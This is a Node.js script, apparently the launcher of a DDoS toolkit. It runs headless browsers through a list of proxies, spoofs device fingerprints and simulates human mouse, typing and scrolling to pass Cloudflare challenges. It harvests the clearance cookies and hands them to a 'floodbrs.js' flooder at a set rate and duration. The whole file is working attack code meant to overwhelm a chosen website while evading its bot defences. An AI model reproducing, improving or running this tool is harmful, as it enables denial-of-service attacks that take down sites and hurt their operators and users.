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|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
const fs = require('fs');
|
| 2 |
+
const puppeteer = require('puppeteer-extra');
|
| 3 |
+
const StealthPlugin = require('puppeteer-extra-plugin-stealth');
|
| 4 |
+
const async = require('async');
|
| 5 |
+
const { spawn, exec } = require('child_process');
|
| 6 |
+
|
| 7 |
+
puppeteer.use(StealthPlugin());
|
| 8 |
+
|
| 9 |
+
const COOKIES_MAX_RETRIES = 3;
|
| 10 |
+
const COLORS = {
|
| 11 |
+
RED: '\x1b[31m',
|
| 12 |
+
PINK: '\x1b[35m',
|
| 13 |
+
WHITE: '\x1b[37m',
|
| 14 |
+
YELLOW: '\x1b[33m',
|
| 15 |
+
GREEN: '\x1b[32m',
|
| 16 |
+
RESET: '\x1b[0m'
|
| 17 |
+
};
|
| 18 |
+
|
| 19 |
+
// Command-line argument validation
|
| 20 |
+
if (process.argv.length < 6) {
|
| 21 |
+
console.error('Usage: node browser.js <targetURL> <threads> <proxyFile> <rate> <time>');
|
| 22 |
+
process.exit(1);
|
| 23 |
+
}
|
| 24 |
+
|
| 25 |
+
const targetURL = process.argv[2];
|
| 26 |
+
const threads = parseInt(process.argv[3]);
|
| 27 |
+
const proxyFile = process.argv[4];
|
| 28 |
+
const rate = process.argv[5];
|
| 29 |
+
const duration = parseInt(process.argv[6]);
|
| 30 |
+
|
| 31 |
+
let totalSolves = 0;
|
| 32 |
+
|
| 33 |
+
// Utility functions
|
| 34 |
+
const generateRandomString = (minLength, maxLength) => {
|
| 35 |
+
const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
|
| 36 |
+
const length = Math.floor(Math.random() * (maxLength - minLength + 1)) + minLength;
|
| 37 |
+
return Array.from({ length }, () =>
|
| 38 |
+
characters[Math.floor(Math.random() * characters.length)]
|
| 39 |
+
).join('');
|
| 40 |
+
};
|
| 41 |
+
|
| 42 |
+
const validKey = generateRandomString(5, 10);
|
| 43 |
+
|
| 44 |
+
const readProxies = (filePath) => {
|
| 45 |
+
try {
|
| 46 |
+
return fs.readFileSync(filePath, 'utf8').trim().split(/\r?\n/).filter(Boolean);
|
| 47 |
+
} catch (error) {
|
| 48 |
+
console.error('Error reading proxies file:', error.message);
|
| 49 |
+
return [];
|
| 50 |
+
}
|
| 51 |
+
};
|
| 52 |
+
|
| 53 |
+
const maskProxy = (proxy) => {
|
| 54 |
+
const parts = proxy.split(':');
|
| 55 |
+
if (parts.length >= 2 && parts[0].split('.').length === 4) {
|
| 56 |
+
const ipParts = parts[0].split('.');
|
| 57 |
+
return `${ipParts[0]}.${ipParts[1]}.**.**:****`;
|
| 58 |
+
}
|
| 59 |
+
return proxy;
|
| 60 |
+
};
|
| 61 |
+
|
| 62 |
+
const coloredLog = (color, text) => {
|
| 63 |
+
console.log(`${color}${text}${COLORS.RESET}`);
|
| 64 |
+
};
|
| 65 |
+
|
| 66 |
+
const sleep = (seconds) => new Promise(resolve => setTimeout(resolve, seconds * 1000));
|
| 67 |
+
|
| 68 |
+
const randomElement = (array) => array[Math.floor(Math.random() * array.length)];
|
| 69 |
+
|
| 70 |
+
// User agents for mobile devices
|
| 71 |
+
const userAgents = [
|
| 72 |
+
// Samsung
|
| 73 |
+
`Mozilla/5.0 (Linux; Android 12; SM-S928U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36`,
|
| 74 |
+
`Mozilla/5.0 (Linux; Android 13; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Mobile Safari/537.36`,
|
| 75 |
+
// Xiaomi
|
| 76 |
+
`Mozilla/5.0 (Linux; Android 14; 23127PN0CG) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Mobile Safari/537.36`,
|
| 77 |
+
// ASUS ROG
|
| 78 |
+
`Mozilla/5.0 (Linux; Android 13; ASUS_AI2401) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Mobile Safari/537.36`,
|
| 79 |
+
// OnePlus
|
| 80 |
+
`Mozilla/5.0 (Linux; Android 14; CPH2551) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36`,
|
| 81 |
+
// Google Pixel
|
| 82 |
+
`Mozilla/5.0 (Linux; Android 13; GPJ41) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Mobile Safari/537.36`,
|
| 83 |
+
// iPhone
|
| 84 |
+
`Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1`
|
| 85 |
+
];
|
| 86 |
+
|
| 87 |
+
// Human-like interaction simulations
|
| 88 |
+
const simulateHumanMouseMovement = async (page, element, options = {}) => {
|
| 89 |
+
const {
|
| 90 |
+
minMoves = 5,
|
| 91 |
+
maxMoves = 10,
|
| 92 |
+
minDelay = 50,
|
| 93 |
+
maxDelay = 150,
|
| 94 |
+
jitterFactor = 0.1,
|
| 95 |
+
overshootChance = 0.2,
|
| 96 |
+
hesitationChance = 0.1,
|
| 97 |
+
finalDelay = 500
|
| 98 |
+
} = options;
|
| 99 |
+
|
| 100 |
+
const bbox = await element.boundingBox();
|
| 101 |
+
if (!bbox) throw new Error('Element not visible');
|
| 102 |
+
|
| 103 |
+
const targetX = bbox.x + bbox.width / 2;
|
| 104 |
+
const targetY = bbox.y + bbox.height / 2;
|
| 105 |
+
|
| 106 |
+
const pageDimensions = await page.evaluate(() => ({
|
| 107 |
+
width: window.innerWidth,
|
| 108 |
+
height: window.innerHeight
|
| 109 |
+
}));
|
| 110 |
+
|
| 111 |
+
let currentX = Math.random() * pageDimensions.width;
|
| 112 |
+
let currentY = Math.random() * pageDimensions.height;
|
| 113 |
+
|
| 114 |
+
const moves = Math.floor(Math.random() * (maxMoves - minMoves + 1)) + minMoves;
|
| 115 |
+
|
| 116 |
+
for (let i = 0; i < moves; i++) {
|
| 117 |
+
const progress = i / (moves - 1);
|
| 118 |
+
let nextX = currentX + (targetX - currentX) * progress;
|
| 119 |
+
let nextY = currentY + (targetY - currentY) * progress;
|
| 120 |
+
|
| 121 |
+
nextX += (Math.random() * 2 - 1) * jitterFactor * bbox.width;
|
| 122 |
+
nextY += (Math.random() * 2 - 1) * jitterFactor * bbox.height;
|
| 123 |
+
|
| 124 |
+
if (Math.random() < overshootChance && i < moves - 1) {
|
| 125 |
+
nextX += (Math.random() * 0.5 + 0.5) * (nextX - currentX);
|
| 126 |
+
nextY += (Math.random() * 0.5 + 0.5) * (nextY - currentY);
|
| 127 |
+
}
|
| 128 |
+
|
| 129 |
+
await page.mouse.move(nextX, nextY, { steps: 10 });
|
| 130 |
+
await sleep((Math.random() * (maxDelay - minDelay) + minDelay) / 1000);
|
| 131 |
+
|
| 132 |
+
if (Math.random() < hesitationChance) {
|
| 133 |
+
await sleep((Math.random() * (maxDelay - minDelay) + minDelay) * 3 / 1000);
|
| 134 |
+
}
|
| 135 |
+
|
| 136 |
+
currentX = nextX;
|
| 137 |
+
currentY = nextY;
|
| 138 |
+
}
|
| 139 |
+
|
| 140 |
+
await page.mouse.move(targetX, targetY, { steps: 5 });
|
| 141 |
+
await sleep(finalDelay / 1000);
|
| 142 |
+
};
|
| 143 |
+
|
| 144 |
+
const simulateHumanTyping = async (page, element, text, options = {}) => {
|
| 145 |
+
const {
|
| 146 |
+
minDelay = 30,
|
| 147 |
+
maxDelay = 100,
|
| 148 |
+
mistakeChance = 0.05,
|
| 149 |
+
pauseChance = 0.02
|
| 150 |
+
} = options;
|
| 151 |
+
|
| 152 |
+
await simulateHumanMouseMovement(page, element);
|
| 153 |
+
await element.click();
|
| 154 |
+
await element.evaluate(el => el.value = '');
|
| 155 |
+
|
| 156 |
+
for (const char of text) {
|
| 157 |
+
await sleep((Math.random() * (maxDelay - minDelay) + minDelay) / 1000);
|
| 158 |
+
|
| 159 |
+
if (Math.random() < mistakeChance) {
|
| 160 |
+
const randomChar = String.fromCharCode(97 + Math.floor(Math.random() * 26));
|
| 161 |
+
await page.keyboard.press(randomChar);
|
| 162 |
+
await sleep((Math.random() * (maxDelay - minDelay) + minDelay) * 2 / 1000);
|
| 163 |
+
await page.keyboard.press('Backspace');
|
| 164 |
+
await sleep((Math.random() * (maxDelay - minDelay) + minDelay) / 1000);
|
| 165 |
+
}
|
| 166 |
+
|
| 167 |
+
await page.keyboard.press(char);
|
| 168 |
+
|
| 169 |
+
if (Math.random() < pauseChance) {
|
| 170 |
+
await sleep((Math.random() * (maxDelay - minDelay) + minDelay) * 10 / 1000);
|
| 171 |
+
}
|
| 172 |
+
}
|
| 173 |
+
};
|
| 174 |
+
|
| 175 |
+
const simulateHumanScrolling = async (page, distance, options = {}) => {
|
| 176 |
+
const {
|
| 177 |
+
minSteps = 5,
|
| 178 |
+
maxSteps = 15,
|
| 179 |
+
minDelay = 50,
|
| 180 |
+
maxDelay = 200,
|
| 181 |
+
direction = 'down',
|
| 182 |
+
pauseChance = 0.2,
|
| 183 |
+
jitterFactor = 0.1
|
| 184 |
+
} = options;
|
| 185 |
+
|
| 186 |
+
const directionMultiplier = direction === 'up' ? -1 : 1;
|
| 187 |
+
const steps = Math.floor(Math.random() * (maxSteps - minSteps + 1)) + minSteps;
|
| 188 |
+
const baseStepSize = distance / steps;
|
| 189 |
+
let totalScrolled = 0;
|
| 190 |
+
|
| 191 |
+
for (let i = 0; i < steps; i++) {
|
| 192 |
+
const jitter = baseStepSize * jitterFactor * (Math.random() * 2 - 1);
|
| 193 |
+
let stepSize = Math.round(baseStepSize + jitter);
|
| 194 |
+
|
| 195 |
+
if (i === steps - 1) {
|
| 196 |
+
stepSize = (distance - totalScrolled) * directionMultiplier;
|
| 197 |
+
} else {
|
| 198 |
+
stepSize *= directionMultiplier;
|
| 199 |
+
}
|
| 200 |
+
|
| 201 |
+
await page.evaluate(scrollAmount => window.scrollBy(0, scrollAmount), stepSize);
|
| 202 |
+
totalScrolled += stepSize * directionMultiplier;
|
| 203 |
+
|
| 204 |
+
await sleep((Math.random() * (maxDelay - minDelay) + minDelay) / 1000);
|
| 205 |
+
|
| 206 |
+
if (Math.random() < pauseChance) {
|
| 207 |
+
await sleep((Math.random() * (maxDelay - minDelay) + minDelay) * 6 / 1000);
|
| 208 |
+
}
|
| 209 |
+
}
|
| 210 |
+
};
|
| 211 |
+
|
| 212 |
+
const simulateNaturalPageBehavior = async (page) => {
|
| 213 |
+
const dimensions = await page.evaluate(() => ({
|
| 214 |
+
width: document.documentElement.clientWidth,
|
| 215 |
+
height: document.documentElement.clientHeight,
|
| 216 |
+
scrollHeight: document.documentElement.scrollHeight
|
| 217 |
+
}));
|
| 218 |
+
|
| 219 |
+
const scrollAmount = Math.floor(dimensions.scrollHeight * (0.2 + Math.random() * 0.6));
|
| 220 |
+
await simulateHumanScrolling(page, scrollAmount, { minSteps: 8, maxSteps: 15, pauseChance: 0.3 });
|
| 221 |
+
|
| 222 |
+
await sleep(1 + Math.random() * 3);
|
| 223 |
+
|
| 224 |
+
const movementCount = 2 + Math.floor(Math.random() * 4);
|
| 225 |
+
for (let i = 0; i < movementCount; i++) {
|
| 226 |
+
const x = Math.floor(Math.random() * dimensions.width * 0.8) + dimensions.width * 0.1;
|
| 227 |
+
const y = Math.floor(Math.random() * dimensions.height * 0.8) + dimensions.height * 0.1;
|
| 228 |
+
await page.mouse.move(x, y, { steps: 10 + Math.floor(Math.random() * 20) });
|
| 229 |
+
await sleep(0.5 + Math.random());
|
| 230 |
+
}
|
| 231 |
+
|
| 232 |
+
if (Math.random() > 0.5) {
|
| 233 |
+
await simulateHumanScrolling(page, scrollAmount / 2, { direction: 'up', minSteps: 3, maxSteps: 8 });
|
| 234 |
+
}
|
| 235 |
+
};
|
| 236 |
+
|
| 237 |
+
// Browser fingerprint spoofing
|
| 238 |
+
const spoofFingerprint = async (page) => {
|
| 239 |
+
await page.evaluateOnNewDocument(() => {
|
| 240 |
+
const screenWidth = 360 + Math.floor(Math.random() * 100);
|
| 241 |
+
const screenHeight = 640 + Math.floor(Math.random() * 200);
|
| 242 |
+
Object.defineProperty(window, 'screen', {
|
| 243 |
+
value: {
|
| 244 |
+
width: screenWidth,
|
| 245 |
+
height: screenHeight,
|
| 246 |
+
availWidth: screenWidth,
|
| 247 |
+
availHeight: screenHeight,
|
| 248 |
+
colorDepth: 24,
|
| 249 |
+
pixelDepth: 24
|
| 250 |
+
},
|
| 251 |
+
writable: false
|
| 252 |
+
});
|
| 253 |
+
|
| 254 |
+
const canvas = document.createElement('canvas');
|
| 255 |
+
const ctx = canvas.getContext('2d');
|
| 256 |
+
const originalToDataURL = canvas.toDataURL;
|
| 257 |
+
canvas.toDataURL = function () {
|
| 258 |
+
ctx.fillStyle = `#${Math.random().toString(16).slice(2, 8)}`;
|
| 259 |
+
ctx.fillRect(0, 0, 10, 10);
|
| 260 |
+
return originalToDataURL.apply(this, arguments);
|
| 261 |
+
};
|
| 262 |
+
|
| 263 |
+
Object.defineProperty(navigator, 'platform', { value: 'Linux aarch64', writable: false });
|
| 264 |
+
Object.defineProperty(window, 'devicePixelRatio', { value: 2 + Math.random(), writable: false });
|
| 265 |
+
});
|
| 266 |
+
};
|
| 267 |
+
|
| 268 |
+
// Captcha detection and handling
|
| 269 |
+
const detectChallenge = async (browser, page, browserProxy) => {
|
| 270 |
+
try {
|
| 271 |
+
const title = await page.title();
|
| 272 |
+
const content = await page.content();
|
| 273 |
+
|
| 274 |
+
if (title === 'Attention Required! | Cloudflare') {
|
| 275 |
+
coloredLog(COLORS.RED, `[INFO] Proxy blocked: ${maskProxy(browserProxy)}`);
|
| 276 |
+
throw new Error('Proxy blocked');
|
| 277 |
+
}
|
| 278 |
+
|
| 279 |
+
if (content.includes('challenge-platform')) {
|
| 280 |
+
coloredLog(COLORS.WHITE, `[INFO] Starting bypass for proxy: ${maskProxy(browserProxy)}`);
|
| 281 |
+
await sleep(5);
|
| 282 |
+
|
| 283 |
+
const captchaContainer = await page.$('body > div.main-wrapper > div > div > div > div');
|
| 284 |
+
if (captchaContainer) {
|
| 285 |
+
await simulateHumanMouseMovement(page, captchaContainer, {
|
| 286 |
+
minMoves: 8,
|
| 287 |
+
maxMoves: 20,
|
| 288 |
+
minDelay: 40,
|
| 289 |
+
maxDelay: 150,
|
| 290 |
+
finalDelay: 1000,
|
| 291 |
+
jitterFactor: 0.2,
|
| 292 |
+
overshootChance: 0.4,
|
| 293 |
+
hesitationChance: 0.3
|
| 294 |
+
});
|
| 295 |
+
await captchaContainer.click();
|
| 296 |
+
|
| 297 |
+
await page.waitForFunction(
|
| 298 |
+
() => !document.querySelector('body > div.main-wrapper > div > div > div > div'),
|
| 299 |
+
{ timeout: 45000 }
|
| 300 |
+
);
|
| 301 |
+
|
| 302 |
+
const newTitle = await page.title();
|
| 303 |
+
if (newTitle === 'Just a moment...') {
|
| 304 |
+
throw new Error('Captcha bypass failed');
|
| 305 |
+
}
|
| 306 |
+
}
|
| 307 |
+
}
|
| 308 |
+
|
| 309 |
+
await sleep(10);
|
| 310 |
+
} catch (error) {
|
| 311 |
+
throw error;
|
| 312 |
+
}
|
| 313 |
+
};
|
| 314 |
+
|
| 315 |
+
// Browser launch with retry logic
|
| 316 |
+
const launchBrowserWithRetry = async (targetURL, browserProxy, attempt = 1, maxRetries = 2) => {
|
| 317 |
+
const userAgent = randomElement(userAgents);
|
| 318 |
+
let browser;
|
| 319 |
+
|
| 320 |
+
const options = {
|
| 321 |
+
headless: true,
|
| 322 |
+
args: [
|
| 323 |
+
'--no-sandbox',
|
| 324 |
+
'--disable-setuid-sandbox',
|
| 325 |
+
'--disable-dev-shm-usage',
|
| 326 |
+
'--window-size=360,640',
|
| 327 |
+
`--user-agent=${userAgent}`,
|
| 328 |
+
'--disable-accelerated-2d-canvas',
|
| 329 |
+
'--disable-gpu',
|
| 330 |
+
'--disable-blink-features=AutomationControlled',
|
| 331 |
+
'--disable-infobars',
|
| 332 |
+
'--no-zygote',
|
| 333 |
+
'--single-process',
|
| 334 |
+
'--disable-background-timer-throttling',
|
| 335 |
+
'--disable-renderer-backgrounding',
|
| 336 |
+
'--enable-features=NetworkService,NetworkServiceInProcess',
|
| 337 |
+
'--ignore-certificate-errors',
|
| 338 |
+
'--ignore-ssl-errors',
|
| 339 |
+
'--tls-min-version=1.2',
|
| 340 |
+
'--tls-max-version=1.3',
|
| 341 |
+
'--enable-touch-drag-drop',
|
| 342 |
+
'--touch-events=enabled',
|
| 343 |
+
'--emulate-touch-from-mouse',
|
| 344 |
+
'--enable-viewport',
|
| 345 |
+
'--enable-small-dedicated-cache',
|
| 346 |
+
'--disable-popup-blocking',
|
| 347 |
+
'--disable-component-extensions-with-background-pages',
|
| 348 |
+
'--disable-webrtc-hw-decoding',
|
| 349 |
+
'--disable-webrtc-hw-encoding',
|
| 350 |
+
'--disable-media-session-api',
|
| 351 |
+
'--disable-remote-fonts',
|
| 352 |
+
'--force-color-profile=srgb',
|
| 353 |
+
'--enable-quic',
|
| 354 |
+
'--enable-features=PostQuantumKyber'
|
| 355 |
+
],
|
| 356 |
+
defaultViewport: {
|
| 357 |
+
width: 360,
|
| 358 |
+
height: 640,
|
| 359 |
+
deviceScaleFactor: 3,
|
| 360 |
+
isMobile: true,
|
| 361 |
+
hasTouch: Math.random() < 0.5,
|
| 362 |
+
isLandscape: false
|
| 363 |
+
}
|
| 364 |
+
};
|
| 365 |
+
|
| 366 |
+
try {
|
| 367 |
+
coloredLog(COLORS.YELLOW, `[INFO] Launching browser with proxy: ${maskProxy(browserProxy)}`);
|
| 368 |
+
browser = await puppeteer.launch(options);
|
| 369 |
+
const [page] = await browser.pages();
|
| 370 |
+
const client = page._client();
|
| 371 |
+
|
| 372 |
+
await spoofFingerprint(page);
|
| 373 |
+
|
| 374 |
+
page.on('framenavigated', (frame) => {
|
| 375 |
+
if (frame.url().includes('challenges.cloudflare.com')) {
|
| 376 |
+
client.send('Target.detachFromTarget', { targetId: frame._id }).catch(() => {});
|
| 377 |
+
}
|
| 378 |
+
});
|
| 379 |
+
|
| 380 |
+
page.setDefaultNavigationTimeout(60 * 1000);
|
| 381 |
+
await page.goto(targetURL, { waitUntil: 'domcontentloaded' });
|
| 382 |
+
|
| 383 |
+
const bodyHandle = await page.$('body');
|
| 384 |
+
if (bodyHandle) {
|
| 385 |
+
await simulateHumanMouseMovement(page, bodyHandle);
|
| 386 |
+
}
|
| 387 |
+
|
| 388 |
+
await simulateNaturalPageBehavior(page);
|
| 389 |
+
await detectChallenge(browser, page, browserProxy);
|
| 390 |
+
|
| 391 |
+
await sleep(5);
|
| 392 |
+
|
| 393 |
+
const title = await page.title();
|
| 394 |
+
const cookies = await page.cookies(targetURL);
|
| 395 |
+
|
| 396 |
+
if (!cookies || cookies.length === 0) {
|
| 397 |
+
coloredLog(COLORS.RED, `[INFO] No cookies found for proxy: ${maskProxy(browserProxy)}`);
|
| 398 |
+
throw new Error('No cookies found');
|
| 399 |
+
}
|
| 400 |
+
|
| 401 |
+
const cookieString = cookies.map(cookie => `${cookie.name}=${cookie.value}`).join('; ').trim();
|
| 402 |
+
|
| 403 |
+
if (!cookieString) {
|
| 404 |
+
coloredLog(COLORS.RED, `[INFO] Empty cookie string for proxy: ${maskProxy(browserProxy)}`);
|
| 405 |
+
throw new Error('Empty cookie string');
|
| 406 |
+
}
|
| 407 |
+
|
| 408 |
+
coloredLog(COLORS.GREEN, `[INFO] Successfully got cookies for proxy: ${maskProxy(browserProxy)}`);
|
| 409 |
+
totalSolves++;
|
| 410 |
+
coloredLog(COLORS.GREEN, `[INFO] Total successful solves: ${totalSolves}`);
|
| 411 |
+
|
| 412 |
+
await browser.close();
|
| 413 |
+
return { title, browserProxy, cookies: cookieString, userAgent };
|
| 414 |
+
} catch (error) {
|
| 415 |
+
if (browser) await browser.close().catch(() => {});
|
| 416 |
+
if (attempt < maxRetries) {
|
| 417 |
+
await sleep(4);
|
| 418 |
+
return launchBrowserWithRetry(targetURL, browserProxy, attempt + 1, maxRetries);
|
| 419 |
+
}
|
| 420 |
+
return null;
|
| 421 |
+
}
|
| 422 |
+
};
|
| 423 |
+
|
| 424 |
+
// Thread handling
|
| 425 |
+
const startThread = async (targetURL, browserProxy, task, done, retries = 0) => {
|
| 426 |
+
if (retries >= COOKIES_MAX_RETRIES) {
|
| 427 |
+
done(null, { task, currentTask: queue.length() });
|
| 428 |
+
return;
|
| 429 |
+
}
|
| 430 |
+
|
| 431 |
+
try {
|
| 432 |
+
const response = await launchBrowserWithRetry(targetURL, browserProxy);
|
| 433 |
+
if (response) {
|
| 434 |
+
if (response.title === 'Just a moment...') {
|
| 435 |
+
coloredLog(COLORS.RED, `[INFO] Captcha bypass failed for proxy: ${maskProxy(browserProxy)}`);
|
| 436 |
+
await startThread(targetURL, browserProxy, task, done, retries + 1);
|
| 437 |
+
return;
|
| 438 |
+
}
|
| 439 |
+
|
| 440 |
+
const cookieInfo = JSON.stringify({
|
| 441 |
+
Page: response.title,
|
| 442 |
+
Proxy: maskProxy(browserProxy),
|
| 443 |
+
'User-agent': response.userAgent,
|
| 444 |
+
cookie: response.cookies
|
| 445 |
+
});
|
| 446 |
+
console.log(cookieInfo);
|
| 447 |
+
|
| 448 |
+
try {
|
| 449 |
+
coloredLog(COLORS.YELLOW, `[DEBUG] Spawning floodbrs with args: ${[
|
| 450 |
+
targetURL, duration.toString(), threads.toString(), response.browserProxy, rate, response.cookies, response.userAgent, validKey
|
| 451 |
+
].join(', ')}`);
|
| 452 |
+
|
| 453 |
+
const floodProcess = spawn('node', [
|
| 454 |
+
'floodbrs.js',
|
| 455 |
+
targetURL,
|
| 456 |
+
duration.toString(),
|
| 457 |
+
threads.toString(), // Sử dụng threads thay vì thread
|
| 458 |
+
response.browserProxy,
|
| 459 |
+
rate,
|
| 460 |
+
response.cookies,
|
| 461 |
+
response.userAgent,
|
| 462 |
+
validKey
|
| 463 |
+
]);
|
| 464 |
+
|
| 465 |
+
floodProcess.stdout.on('data', (data) => {
|
| 466 |
+
const output = data.toString().trim();
|
| 467 |
+
if (output) {
|
| 468 |
+
coloredLog(COLORS.GREEN, `[FLOOD] ${output}`);
|
| 469 |
+
} else {
|
| 470 |
+
coloredLog(COLORS.YELLOW, `[FLOOD] Empty output received from floodbrs`);
|
| 471 |
+
}
|
| 472 |
+
});
|
| 473 |
+
|
| 474 |
+
floodProcess.stderr.on('data', (data) => {
|
| 475 |
+
coloredLog(COLORS.RED, `[FLOOD ERROR] ${data.toString()}`);
|
| 476 |
+
});
|
| 477 |
+
|
| 478 |
+
floodProcess.on('error', (error) => {
|
| 479 |
+
coloredLog(COLORS.RED, `[FLOOD SPAWN ERROR] Failed to spawn floodbrs: ${error.message}`);
|
| 480 |
+
});
|
| 481 |
+
|
| 482 |
+
floodProcess.on('exit', (code) => {
|
| 483 |
+
coloredLog(COLORS.GREEN, `[FLOOD] Process exited with code ${code}`);
|
| 484 |
+
});
|
| 485 |
+
|
| 486 |
+
coloredLog(COLORS.GREEN, `[INFO] Started floodbrs for proxy: ${maskProxy(browserProxy)}`);
|
| 487 |
+
} catch (error) {
|
| 488 |
+
coloredLog(COLORS.RED, `[INFO] Error spawning floodbrs: ${error.message}`);
|
| 489 |
+
}
|
| 490 |
+
|
| 491 |
+
done(null, { task });
|
| 492 |
+
} else {
|
| 493 |
+
await startThread(targetURL, browserProxy, task, done, retries + 1);
|
| 494 |
+
}
|
| 495 |
+
} catch (error) {
|
| 496 |
+
await startThread(targetURL, browserProxy, task, done, retries + 1);
|
| 497 |
+
}
|
| 498 |
+
};
|
| 499 |
+
|
| 500 |
+
// Async queue setup
|
| 501 |
+
const queue = async.queue((task, done) => {
|
| 502 |
+
startThread(targetURL, task.browserProxy, task, done);
|
| 503 |
+
}, threads);
|
| 504 |
+
|
| 505 |
+
queue.drain(() => {
|
| 506 |
+
coloredLog(COLORS.GREEN, '[INFO] All proxies processed');
|
| 507 |
+
});
|
| 508 |
+
|
| 509 |
+
// Main execution
|
| 510 |
+
const main = async () => {
|
| 511 |
+
const proxies = readProxies(proxyFile);
|
| 512 |
+
if (proxies.length === 0) {
|
| 513 |
+
coloredLog(COLORS.RED, '[INFO] No proxies found in file. Exiting.');
|
| 514 |
+
process.exit(1);
|
| 515 |
+
}
|
| 516 |
+
|
| 517 |
+
coloredLog(COLORS.GREEN, `[INFO] Starting with ${proxies.length} proxies, ${threads} threads, for ${duration} seconds`);
|
| 518 |
+
|
| 519 |
+
proxies.forEach(browserProxy => queue.push({ browserProxy }));
|
| 520 |
+
|
| 521 |
+
coloredLog(COLORS.YELLOW, `[INFO] Will run for ${duration} seconds`);
|
| 522 |
+
setTimeout(() => {
|
| 523 |
+
coloredLog(COLORS.YELLOW, '[INFO] Time\'s up! Cleaning up...');
|
| 524 |
+
queue.kill();
|
| 525 |
+
|
| 526 |
+
exec('pkill -f flood.js', (err) => {
|
| 527 |
+
if (err && err.code !== 1) {
|
| 528 |
+
console.error('Error killing flood.js processes:', err.message);
|
| 529 |
+
} else {
|
| 530 |
+
coloredLog(COLORS.GREEN, '[INFO] Successfully killed flood.js processes');
|
| 531 |
+
}
|
| 532 |
+
});
|
| 533 |
+
|
| 534 |
+
exec('pkill -f chrome', (err) => {
|
| 535 |
+
if (err && err.code !== 1) {
|
| 536 |
+
console.error('Error killing Chrome processes:', err.message);
|
| 537 |
+
} else {
|
| 538 |
+
coloredLog(COLORS.GREEN, '[INFO] Successfully killed Chrome processes');
|
| 539 |
+
}
|
| 540 |
+
});
|
| 541 |
+
|
| 542 |
+
setTimeout(() => {
|
| 543 |
+
coloredLog(COLORS.GREEN, '[INFO] Exiting');
|
| 544 |
+
process.exit(0);
|
| 545 |
+
}, 5000);
|
| 546 |
+
}, duration * 1000);
|
| 547 |
+
};
|
| 548 |
+
|
| 549 |
+
process.on('uncaughtException', (error) => console.log(error));
|
| 550 |
+
process.on('unhandledRejection', (error) => console.log(error));
|
| 551 |
+
|
| 552 |
+
coloredLog(COLORS.GREEN, '[INFO] Running...');
|
| 553 |
+
main().catch(err => {
|
| 554 |
+
coloredLog(COLORS.RED, `[INFO] Main function error: ${err.message}`);
|
| 555 |
+
process.exit(1);
|
| 556 |
+
});
|